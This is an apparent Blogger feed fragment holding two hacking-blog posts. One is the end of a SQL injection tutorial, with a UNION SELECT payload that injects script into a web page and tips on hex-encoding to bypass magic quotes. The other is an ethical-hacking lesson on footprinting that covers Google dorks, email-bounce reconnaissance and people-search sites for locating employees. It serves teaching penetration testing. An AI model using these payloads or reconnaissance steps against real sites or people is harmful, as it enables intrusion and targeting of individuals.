&lt;b&gt;ABORT&lt;/b&gt; -- abort the current transaction&lt;br /&gt;
&lt;b&gt;ALTER DATABASE&lt;/b&gt; -- change a database&lt;br /&gt;
&lt;b&gt;ALTER GROUP&lt;/b&gt; -- add users to a group or remove users from a group&lt;br /&gt;
&lt;b&gt;ALTER TABLE&lt;/b&gt; -- change the definition of a table&lt;br /&gt;
&lt;b&gt;ALTER TRIGGER&lt;/b&gt; -- change the definition of a trigger&lt;br /&gt;
&lt;b&gt;ALTER USER&lt;/b&gt; -- change a database user account&lt;br /&gt;
&lt;b&gt;ANALYZE&lt;/b&gt; -- collect statistics about a database&lt;br /&gt;
&lt;b&gt;BEGIN&lt;/b&gt; -- start a transaction block&lt;br /&gt;
&lt;b&gt;CHECKPOINT&lt;/b&gt; -- force a transaction log checkpoint&lt;br /&gt;
&lt;b&gt;CLOSE&lt;/b&gt; -- close a cursor&lt;br /&gt;
&lt;b&gt;CLUSTER&lt;/b&gt; -- cluster a table according to an index&lt;br /&gt;
&lt;b&gt;COMMENT&lt;/b&gt; -- define or change the comment of an object&lt;br /&gt;
&lt;b&gt;COMMIT&lt;/b&gt; -- commit the current transaction&lt;br /&gt;
&lt;b&gt;COPY&lt;/b&gt; -- copy data between files and tables&lt;br /&gt;
&lt;b&gt;CREATE AGGREGATE&lt;/b&gt; -- define a new aggregate function&lt;br /&gt;
&lt;b&gt;CREATE CAST&lt;/b&gt; -- define a user-defined cast&lt;br /&gt;
&lt;b&gt;CREATE CONSTRAINT TRIGGER&lt;/b&gt; -- define a new constraint trigger&lt;br /&gt;
&lt;b&gt;CREATE CONVERSION&lt;/b&gt; -- define a user-defined conversion&lt;br /&gt;
&lt;b&gt;CREATE DATABASE&lt;/b&gt; -- create a new database&lt;br /&gt;
&lt;b&gt;CREATE DOMAIN&lt;/b&gt; -- define a &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=20438#&quot; id=&quot;itxthook0&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook0p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook0w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;new domain&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook0icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;CREATE FUNCTION&lt;/b&gt; -- define a new function&lt;br /&gt;
&lt;b&gt;CREATE GROUP&lt;/b&gt; -- define a new user group&lt;br /&gt;
&lt;b&gt;CREATE INDEX&lt;/b&gt; -- define a new index&lt;br /&gt;
&lt;b&gt;CREATE LANGUAGE&lt;/b&gt; -- define a new procedural language&lt;br /&gt;
&lt;b&gt;CREATE OPERATOR&lt;/b&gt; -- define a new operator&lt;br /&gt;
&lt;b&gt;CREATE OPERATOR CLASS&lt;/b&gt; -- define a new operator class for indexes&lt;br /&gt;
&lt;b&gt;CREATE RULE&lt;/b&gt; -- define a new rewrite rule&lt;br /&gt;
&lt;b&gt;CREATE SCHEMA&lt;/b&gt; -- define a new schema&lt;br /&gt;
&lt;b&gt;CREATE SEQUENCE&lt;/b&gt; -- define a new sequence generator&lt;br /&gt;
&lt;b&gt;CREATE TABLE&lt;/b&gt; -- define a new table&lt;br /&gt;
&lt;b&gt;CREATE TABLE AS&lt;/b&gt; -- create a new table from the results of a query&lt;br /&gt;
&lt;b&gt;CREATE TRIGGER&lt;/b&gt; -- define a new trigger&lt;br /&gt;
&lt;b&gt;CREATE TYPE&lt;/b&gt; -- define a new data type&lt;br /&gt;
&lt;b&gt;CREATE USER&lt;/b&gt; -- define a new database user account&lt;br /&gt;
&lt;b&gt;CREATE VIEW&lt;/b&gt; -- define a new view&lt;br /&gt;
&lt;b&gt;DEALLOCATE&lt;/b&gt; -- remove a prepared query&lt;br /&gt;
&lt;b&gt;DECLARE&lt;/b&gt; -- define a cursor&lt;br /&gt;
&lt;b&gt;DELETE&lt;/b&gt; -- delete rows of a table&lt;br /&gt;
&lt;b&gt;DROP AGGREGATE&lt;/b&gt; -- remove a user-defined aggregate function&lt;br /&gt;
&lt;b&gt;DROP CAST&lt;/b&gt; -- remove a user-defined cast&lt;br /&gt;
&lt;b&gt;DROP CONVERSION&lt;/b&gt; -- remove a user-defined conversion&lt;br /&gt;
&lt;b&gt;DROP DATABASE&lt;/b&gt; -- remove a database&lt;br /&gt;
&lt;b&gt;DROP DOMAIN&lt;/b&gt; -- remove a user-defined domain&lt;br /&gt;
&lt;b&gt;DROP FUNCTION&lt;/b&gt; -- remove a user-defined function&lt;br /&gt;
&lt;b&gt;DROP GROUP&lt;/b&gt; -- remove a user group&lt;br /&gt;
&lt;b&gt;DROP INDEX&lt;/b&gt; -- remove an index&lt;br /&gt;
&lt;b&gt;DROP LANGUAGE&lt;/b&gt; -- remove a user-defined procedural language&lt;br /&gt;
&lt;b&gt;DROP OPERATOR&lt;/b&gt; -- remove a user-defined operator&lt;br /&gt;
&lt;b&gt;DROP OPERATOR CLASS&lt;/b&gt; -- remove a user-defined operator class&lt;br /&gt;
&lt;b&gt;DROP RULE&lt;/b&gt; -- remove a rewrite rule&lt;br /&gt;
&lt;b&gt;DROP SCHEMA&lt;/b&gt; -- remove a schema&lt;br /&gt;
&lt;b&gt;DROP SEQUENCE&lt;/b&gt; -- remove a sequence&lt;br /&gt;
&lt;b&gt;DROP TABLE&lt;/b&gt; -- remove a table&lt;br /&gt;
&lt;b&gt;DROP TRIGGER&lt;/b&gt; -- remove a trigger&lt;br /&gt;
&lt;b&gt;DROP TYPE&lt;/b&gt; -- remove a user-defined data type&lt;br /&gt;
&lt;b&gt;DROP USER&lt;/b&gt; -- remove a database user account&lt;br /&gt;
&lt;b&gt;DROP VIEW&lt;/b&gt; -- remove a view&lt;br /&gt;
&lt;b&gt;END&lt;/b&gt; -- commit the current transaction&lt;br /&gt;
&lt;b&gt;EXECUTE&lt;/b&gt; -- execute a prepared query&lt;br /&gt;
&lt;b&gt;EXPLAIN&lt;/b&gt; -- show the execution plan of a statement&lt;br /&gt;
&lt;b&gt;FETCH&lt;/b&gt; -- retrieve rows from a table using a cursor&lt;br /&gt;
&lt;b&gt;GRANT&lt;/b&gt; -- define access privileges&lt;br /&gt;
&lt;b&gt;INSERT&lt;/b&gt; -- create new rows in a table&lt;br /&gt;
&lt;b&gt;LISTEN&lt;/b&gt; -- listen for a notification&lt;br /&gt;
&lt;b&gt;LOAD&lt;/b&gt; -- load or reload a shared library file&lt;br /&gt;
&lt;b&gt;LOCK&lt;/b&gt; -- explicitly lock a table&lt;br /&gt;
&lt;b&gt;MOVE&lt;/b&gt; -- position a cursor on a specified row of a table&lt;br /&gt;
&lt;b&gt;NOTIFY&lt;/b&gt; -- generate a notification&lt;br /&gt;
&lt;b&gt;PREPARE&lt;/b&gt; -- create a prepared query&lt;br /&gt;
&lt;b&gt;REINDEX&lt;/b&gt; -- rebuild corrupted indexes&lt;br /&gt;
&lt;b&gt;RESET&lt;/b&gt; -- restore the value of a run-time parameter to a default value&lt;br /&gt;
&lt;b&gt;REVOKE&lt;/b&gt; -- remove access privileges&lt;br /&gt;
&lt;b&gt;ROLLBACK&lt;/b&gt; -- abort the current transaction&lt;br /&gt;
&lt;b&gt;SELECT&lt;/b&gt; -- retrieve rows from a table or view&lt;br /&gt;
&lt;b&gt;SELECT INTO&lt;/b&gt; -- create a new table from the results of a query&lt;br /&gt;
&lt;b&gt;SET&lt;/b&gt; -- change a run-time parameter&lt;br /&gt;
&lt;b&gt;SET CONSTRAINTS&lt;/b&gt; -- set the constraint mode of the current transaction&lt;br /&gt;
&lt;b&gt;SET SESSION AUTHORIZATION&lt;/b&gt; -- set the session user identifier and the current user identifier of the current session&lt;br /&gt;
&lt;b&gt;SET TRANSACTION&lt;/b&gt; -- set the characteristics of the current transaction&lt;br /&gt;
&lt;b&gt;SHOW&lt;/b&gt; -- show the value of a run-time parameter&lt;br /&gt;
&lt;b&gt;START TRANSACTION&lt;/b&gt; -- start a transaction block&lt;br /&gt;
&lt;b&gt;TRUNCATE&lt;/b&gt; -- empty a table&lt;br /&gt;
&lt;b&gt;UNLISTEN&lt;/b&gt; -- stop listening for a notification&lt;br /&gt;
&lt;b&gt;UPDATE&lt;/b&gt; -- update rows of a table&lt;br /&gt;
&lt;b&gt;VACUUM&lt;/b&gt; -- garbage-collect and optionally analyze a database&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;finalize&quot;&gt;&lt;/a&gt;Finalizing The Injection Tutorial&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
I know I have missed some things like outfile, WHERE clause, blind 
injection,etc... If I get time, I would try to update the tutorial with 
these.. Also for all sql injectors, think in a broad way.. &amp;amp; hexing 
is an important part in sql injection.. Sometimes the things that can&#39;t 
be done with normal ways can be done by using the hex part.. &amp;amp; be 
sure to try things with char(), hex() functions.. With these, you can 
bypass magic quotes on the server.. Again, within the UNION statement, 
you may try to use the XSS which would be sometimes helpful for you..&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 66px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 UNION ALL SELECT &amp;lt;script&amp;gt;
alert(&quot;XSS via SQL injection&quot;);
&amp;lt;/script&amp;gt;,2/*&lt;/pre&gt;
&lt;/div&gt;
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..&lt;br /&gt;
&lt;br /&gt;
Also for starters &amp;amp; those who know little things, you may setup a 
MySQL server &amp;amp; configure PHP for your apache server in your 
localhost where you can try different things..&lt;br /&gt;
&lt;br /&gt;
In the command line interface of MySQL, try various commands enlisted 
below.. Try by modifying them... This would help you improve your MySQL 
command knowledge.. Also try to see how PHP codes interact with MySQL 
server.. For example, install some free forums like PHPBB, SMF,etc.. or 
some content management system as it would help you in two ways.. First,
 you would learn how the PHP interacts with MySQL.. You may check MySQL 
folder with what changes has occured after installing them.. What would 
happen if I do this? or that?? etc..etc.. Second, you may be able to 
find bugs in them.. like rfi in some part of the code or sql injection 
in another part or maybe csrf injection,etc.. That would help you to 
learn new things because you all know practice makes the man perfect...&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;greetz&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/h3&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/3462286605533714047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/intro-i-will-demonstrate-infamous-mysql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3462286605533714047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3462286605533714047'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/intro-i-will-demonstrate-infamous-mysql.html' title=''/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-4564329284700948711</id><published>2012-10-19T12:11:00.001-07:00</published><updated>2012-10-19T12:11:25.410-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Introduction&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
This lesson introduces you to the two of the most important pre-attach 
phases: foot printing and scanning. Although these steps don&#39;t 
constitute breaking in, they occur at the point which a hacker will 
start to get interactive. The goal here is to discover what a hacker or 
other malicious user can uncover about the organization, its technical 
infrastructure, locations, employees, policies, security stance, and 
financial situation. Just as most hardened criminals don&#39;t just heist an
 armored car, elite hackers won&#39;t attack a network before they 
understand what they are up against. Even script kiddies can do some 
amount of pre-attach reconnaissance as they look for a target of 
opportunity. &lt;br /&gt;
&lt;br /&gt;
This lesson starts off by looking at some general ways that individuals 
can attempt to gain information about an organization passively and 
without the organization&#39;s knowledge. Next, it gets interactive and 
reviews scanning techniques. The goal of scanning is to discover open 
ports and applications. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Determining Assessment Scope&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
What&#39;s the goal of the penetration (pen) test? Before starting any 
ethical hacking job, it&#39;s important that you determine the scope of the 
assignment. These kinds of details should have been worked out in the 
written agreement that specifies the scope of the engagement. Is the 
entire organization, a particular location, or one division to be 
examined, and will any subsidiaries be assessed? These are some 
questions that need to be answered up front before you begin any 
activity. Why is this mentioned here? Because you always want to make 
sure that you have legal written permission before you begin any foot 
printing or testing. Once an agreement is in place, there might still be
 logistical problems. Scope creep can be one of the biggest logistical 
problems you can face. Scope creep is the expansion of the assignment 
beyond its original specification. The client might want to expand the 
pen test beyond its original specifications; if so, make sure that the 
new requirements are added to the contract and that proper written 
authorization has been obtained. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
The Seven-Step Information Gathering Process&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objectives:&lt;/b&gt; &lt;br /&gt;
Define the seven-step information gathering process &lt;br /&gt;
Define foot printing &lt;br /&gt;
&lt;br /&gt;
foot printing is about information gathering and is both passive and 
active. Reviewing the company&#39;s website is an example of passive foot 
printing, whereas calling the help desk and attempting to social 
engineering them out of privileged information is an example of active 
information gathering. Scanning entails pinging machines, determining 
network ranges and port scanning individual systems. The EC-Council 
divides foot printing and scanning into &lt;br /&gt;
&lt;br /&gt;
seven basic steps. These include: &lt;br /&gt;
1. Information gathering &lt;br /&gt;
2. Determining the network range &lt;br /&gt;
3. Identifying active machines &lt;br /&gt;
4. Finding open ports and access points &lt;br /&gt;
5. OS fingerprinting &lt;br /&gt;
6. Fingerprinting services &lt;br /&gt;
7. Mapping the network &lt;br /&gt;
&lt;br /&gt;
Many times, students ask for a step-by-step method of information 
gathering. Realize that these are just general steps and that ethical 
hacking is really the process of discovery. Although the material 
discussed in this class is covered in an ordered approach, real life 
sometimes varies. When performing these activities, you might find that 
you are led in a different direction than what you originally 
envisioned. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Information Gathering&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
The information gathering steps of foot printing and scanning are of 
utmost importance. Good information gathering can make the difference 
between a successful pen test and one that has failed to provide maximum
 benefit to the client. An amazing amount of information is available 
about most organizations in business today. This information can be 
found on the organization&#39;s website, trade papers, Usenet, financial 
databases, or even from disgruntled employees. Some potential sources 
are discussed, but first, let&#39;s review documentation. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Documentation&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
One important aspect of information gathering is documentation. Most 
people don&#39;t like paperwork, but it&#39;s a requirement that can&#39;t be 
ignored. The best way to get off to a good start is to develop a 
systematic method to profile a target and record the results. Create a 
matrix with fields to record &lt;a class=&quot;itxtnewhook itxthook&quot; href=&quot;http://www.go4expert.com/forums/showthread.php?t=12161#&quot; id=&quot;itxthook0&quot; rel=&quot;nofollow&quot;&gt;&lt;span class=&quot;itxtrst itxtrstspan itxtnewhookspan&quot; id=&quot;itxthook0p&quot;&gt;&lt;span class=&quot;itxtnewhookspan&quot; id=&quot;itxthook0w&quot; style=&quot;background-color: transparent; border-color: transparent transparent rgb(0, 204, 0); border-style: none none solid; border-width: 0px 0px 1px; color: #009900; font-size: 100%; font-weight: normal; padding: 0px ! important; text-decoration: underline ! important;&quot;&gt;domain name&lt;/span&gt;&lt;img class=&quot;itxtrst itxtrstimg itxthookicon&quot; id=&quot;itxthook0icon&quot; src=&quot;http://images.intellitxt.com/ast/adTypes/icon1.png&quot; style=&quot;margin-bottom: 0px!important; margin-left: 0px!important; margin-right: 0px!important; margin-top: 0px!important; padding-bottom: 0px!important; padding-left: 4px!important; padding-right: 0px!important; padding-top: 0px!important;&quot; /&gt;&lt;/span&gt;&lt;/a&gt;,
 IP address, DNS servers, employee information, email addresses, IP 
address range, open ports, and banner details. Figure 3.1 gives an 
example of what your information matrix might look like when you start 
the documentation process.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image002.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Building this type of information early on will help in mapping the network and planning the best method of attack. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
The Organization&#39;s Website&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
With the initial documentation out of the way, it&#39;s time to get started.
 The best place to begin is the organization&#39;s website. You want to look
 for open source information, which is information freely provided to 
clients, customers, or the general public. Let&#39;s look at an example of a
 local web hosting company. A quick review of its site shows it has a 
news and updates section. Recent news states the following: &lt;br /&gt;
&lt;br /&gt;
&quot;We are proud to have just updated all of our Cobalt servers to Plesk7 
Virtual Site Servers. Anyone logging in to these new servers as admin 
should use the username of the domain, for example, &lt;a href=&quot;http://www.xyz.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.xyz.com&lt;/a&gt;.
 The passwords have been transferred from the old servers, so no 
password reset should be required. We used the existing domain 
administrator password. Our continued alliance with Enterasys has 
allowed us to complete our transition from Cisco equipment. These 
upgrades, along with our addition of a third connection to the Internet,
 give us a high degree of fault tolerance.&quot; &lt;br /&gt;
&lt;br /&gt;
You might consider this good marketing information to provide potential 
clients. The problem is that this information is available to anyone who
 browses the website. This information allows attackers to know that the
 new systems are Linux-based and that the network equipment is all 
Enterasys. If attackers were planning to launch a denial of service 
(DoS) attack against the organization, they now know that they must 
knock out three nodes to the Internet. Even a competitor would benefit 
from this knowledge as the company is telling the competition everything
 about its infrastructure. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
The wayback machine located at &lt;a href=&quot;http://www.archive.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.archive.org&lt;/a&gt;
 can be used to browse archived web pages that date back to 1996. It&#39;s a
 useful tool for looking for information that no longer exists on a 
site. &lt;br /&gt;
&lt;br /&gt;
Another big information leakage point is the company directories. These 
usually identify key employees or departments. By combining this 
information with a little social engineering, an attacker can call the 
help desk, pretend he works for one of these key employees, and demand 
that a password be reset or changed. He could also use biographical 
information about a key employee to perform other types of social 
engineering trickery. Kevin Mitnick used just this type of attack to 
gain access to restricted code that detailed the operation of Motorola 
cell phones. During a pen test, you will want to record any such 
findings and make sure to alert the organization as to what information 
is available and how it might be used in an attack. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Gather emails from the target site that can be used for more than just 
social engineering. One method to gain additional information about the 
organization&#39;s email server is to send an email that will bounce from 
the site. If the site is &lt;a href=&quot;http://www.xyz.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.xyz.com&lt;/a&gt;, send a mail to &lt;a href=&quot;mailto:badaddress@xyz.com&quot;&gt;badaddress@xyz.com&lt;/a&gt;.
 It will bounce back to you and give you information in its header, 
including the email server IP address and email server version. Another 
great reason for bouncing an email message is to find out if they make 
use of mail scrubber as well. Whatever you find, you will want to copy 
the information from the headers and make note of it as you continue to 
gather information. &lt;br /&gt;
&lt;br /&gt;
Job Boards &lt;br /&gt;
&lt;br /&gt;
If you&#39;re lucky, the company has a job posting board. Look this over 
carefully, as you will be surprised at how much information is given 
here. If no job listings are posted on the organization&#39;s website, get 
interactive and check out some of the major Internet job boards. Some 
popular sites are &lt;ul&gt;
&lt;li&gt; Careerbuilder.com&lt;/li&gt;
&lt;li&gt; Monster.com&lt;/li&gt;
&lt;li&gt; Dice.com&lt;/li&gt;
&lt;li&gt; TheITjobboard.com &lt;/li&gt;
&lt;/ul&gt;
Once at the job posting site, query for the organization. Here&#39;s an example of the type of information typically found: &lt;ul&gt;
&lt;li&gt;
 Primary responsibilities for this position include management of a 
Windows 2000 Active Directory environment, including MS Exchange 2000, 
SQL 2000, and Citrix.&lt;/li&gt;
&lt;li&gt; Interact with the technical support supervisor to resolve issues and evaluate/maintain patch level and security updates.&lt;/li&gt;
&lt;li&gt; Experience necessary in: Active Directory, Microsoft Clustering and
 Network Load-Balancing, MS Exchange 2000, MS SQL 2000, Citrix MetaFrame
 XP, EMC CX-400 SAN-related or other enterprise level SAN, Veritas Net 
Backup, BigBrother, and NetIQ Monitoring SW.&lt;/li&gt;
&lt;li&gt; Maintain, support, and troubleshoot a Windows NT/2000 LAN. &lt;/li&gt;
&lt;/ul&gt;
Did these organizations give away any information that might be 
valuable to an attacker? They actually have told attackers almost 
everything about their network. Just the knowledge that the organization
 is still running Windows NT/2000 is extremely valuable. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
One method to reduce the information leakage from job postings is to 
reduce the system specific information in the job post or to use a 
company confidential job posting. Company confidential postings hide the
 true company&#39;s identity and make it harder for attackers to misuse this
 type of information. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Alternative Websites&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
If information is leaked on a company website, it cannot always be 
quickly removed. So, what if sensitive information is on a website that 
an organization does not control? There&#39;s always the chance that 
disgruntled employees might have leaked this information on purpose. 
That&#39;s why any good information gathering process will include visiting 
the darker corners of the Internet. Layoffs, reductions in force, and 
outsourcing are the types of events that don&#39;t necessarily put the staff
 in the best of moods. It could be that the organization&#39;s insiders have
 posted information that could be rather damaging. These unhappy 
individuals are potential sources of information leakage. This 
information might be posted on a blog, some type of &quot;sucks&quot; domain, or 
other site. Shown in Figure 3.2 is the Gap sucks domain. Although the 
legality of these domains depends on the type of information provided 
and their status as a non-commercial entity, their existence is 
something you should be aware of. &lt;br /&gt;
&lt;br /&gt;
Frustrated employees will always find some way to vent their thoughts 
even if not from a &quot;sucks&quot; domain. One such site that might offer other 
insider information is internalmemos. com. This site lists information 
that is usually sensitive and that probably shouldn&#39;t be released to the
 general public. Although some of the content is free, most of the 
content is considered premium and must be purchased to be viewed. One 
such document found after a search on the word &quot;security&quot; is shown in 
Figure 3.3. Don&#39;t be surprised at what you find on this site or others 
like it. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image004.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image006.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Some other sites that can be used to gather information about the target organization and its employees include:&lt;ul&gt;
&lt;li&gt; zabasearch.com-Contains names, addresses, phone numbers, date of birth, and other information about individuals.&lt;/li&gt;
&lt;li&gt; anywho.com-Phone book offering forward and reverse lookups.&lt;/li&gt;
&lt;li&gt; maps.yahoo.com-Yahoo! map site. &lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
In combination, these sites allow attackers to locate key individuals, 
identify their home phone numbers, and even create maps to their houses.
 Attackers can even see the surroundings of the company or the home they
 are targeting with great quality satellite pictures. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Although some organizations might be relatively secure, gaining the 
names, addresses, and locations of key employees can allow attackers to 
war drive their homes and possibly backdoor the organization through an 
insecure employee&#39;s computer. &lt;br /&gt;
&lt;br /&gt;
Free Speech and the Web &lt;br /&gt;
&lt;br /&gt;
As an IT employee of Kmart, I saw firsthand the way internal practice 
and policies affected the company. That&#39;s why after I was fired, I set 
up one of the very first &quot;sucks&quot; websites. In less time than it takes to
 announce a blue light special, my site had attracted more than 9,000 
visitors. I felt that the site was non-commercial and complied with the 
law and while Kmart recognized that the content was either true or 
opinion, the company did threaten me with legal action for the use of 
the Kmart logo. Therefore, I changed the logo and the name to &quot;The Mart 
Sucks.&quot; I believe that the Internet is successful because of its 
commitment to open standards, freedom of information, and freedom of 
speech. Any actions that limit these freedoms and make it less 
hospitable to the average person shouldn&#39;t be tolerated. This &quot;in the 
field&quot; segment was contributed by Rodney Fournier, president and lead 
consultant for Net Working America, Inc. Rodney is an expert in 
clustering technologies and is a Microsoft MVP. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;EDGAR Database&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
If the organization you are working for is publicly traded, you will 
want to review the Security and Exchange commision&#39;s EDGAR database. 
It&#39;s located at &lt;a href=&quot;http://www.sec.gov/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.sec.gov&lt;/a&gt;.
 A ton of information is available at this site. Hackers focus on the 
10-Q and 10-K. These two documents contain yearly and quarterly reports.
 Not only do these documents contain earnings and potential revenue, but
 also details about any acquisitions and mergers. Anytime there is a 
merger or one firm acquires another, there is a rush to integrate the 
two networks. Having the networks integrated is more of an immediate 
concern than security. Therefore, you will be looking for entity names 
that are different from the parent organization. These findings might 
help you discover ways to jump from the subsidiary to the more secure 
parent company. You will want to record this information and have it 
ready when you start to research the IANA and ARIN databases. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Google Hacking&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Most of us use Google or another search engine to locate information. 
What you might not know is that search engines, such as Google, have the
 capability to perform much more powerful searches than most people ever
 dream of. Not only can Google translate documents, perform news 
searches, do image searches, but it can also be used by hackers and 
attackers to do something that has been termed Google hacking. By using 
basic search techniques combined with advanced operators, Google can 
become a powerful vulnerability search tool. Some advanced operators 
include those shown in &lt;br /&gt;
&lt;br /&gt;
Google Search Terms Operator and their Description &lt;br /&gt;
Filetype&lt;blockquote&gt;
This operator directs Google to search only within the test of a particular type of file.&lt;br /&gt;
Example: filetype:xls &lt;/blockquote&gt;
Inurl&lt;blockquote&gt;
This operator directs Google to search only within the specified URL of a document. &lt;br /&gt;
 Example: inurl:search-text&lt;/blockquote&gt;
Link&lt;blockquote&gt;
The link operator directs Google to search within hyperlinks for a specific term. &lt;br /&gt;
 Example link:&lt;a href=&quot;http://www.domain.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.domain.com&lt;/a&gt;&lt;/blockquote&gt;
Intitle&lt;blockquote&gt;
The intitle operator directs Google to search for a term within the title of a document. &lt;br /&gt;
 Example intitle: &quot;Index of…etc&quot; &lt;/blockquote&gt;
By using the advanced 
operators shown in above in combination with key terms, Google can be 
used to uncover many pieces of sensitive information that shouldn&#39;t be 
revealed. A term even exists for the people who blindly post this 
information on the Internet; they are called google dorks. To see how 
this works, enter the following phrase into Google: &lt;br /&gt;
&lt;br /&gt;
allinurl:tsweb/default.htm &lt;br /&gt;
&lt;br /&gt;
This query will search in a URL for the tsweb/default.htm string. The 
search found over 200 sites that had the tsweb/default folder. One of 
these sites is shown in Figure 3.4. As you can see, this could represent
 an easy way for a hacker to log directly in to the organization&#39;s 
servers. Also, notice that there is no warning banner or other notice 
that unauthorized users should not attempt to connect. Finally, don&#39;t 
forget that finding a vulnerability using Google is not unethical, but 
using that vulnerability is unless you have written permission from the 
domain owner. To learn more about Google hacking, take a look at &lt;a href=&quot;http://johnny.ihackstuff.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://johnny.ihackstuff.com&lt;/a&gt;. The site&#39;s owner, Johnny Long, has also written an excellent book on the subject, Google Hacking for Penetration Testers. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image008.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
USENET &lt;br /&gt;
&lt;br /&gt;
USENET is a user&#39;s network, which is nothing more than a collection of 
the thousands of discussion groups that reside on the Internet. Each 
discussion group contains information and messages centered on a 
specific topic. Messages are posted and responded to by readers either 
as public or private emails. Even without direct access to USENET, a 
convenient way to browse the content is by using Google Groups. Google 
Groups allow any Internet user a way to post and read USENET messages. 
During a penetration test, you will want to review Google Groups for 
postings from the target company. &lt;br /&gt;
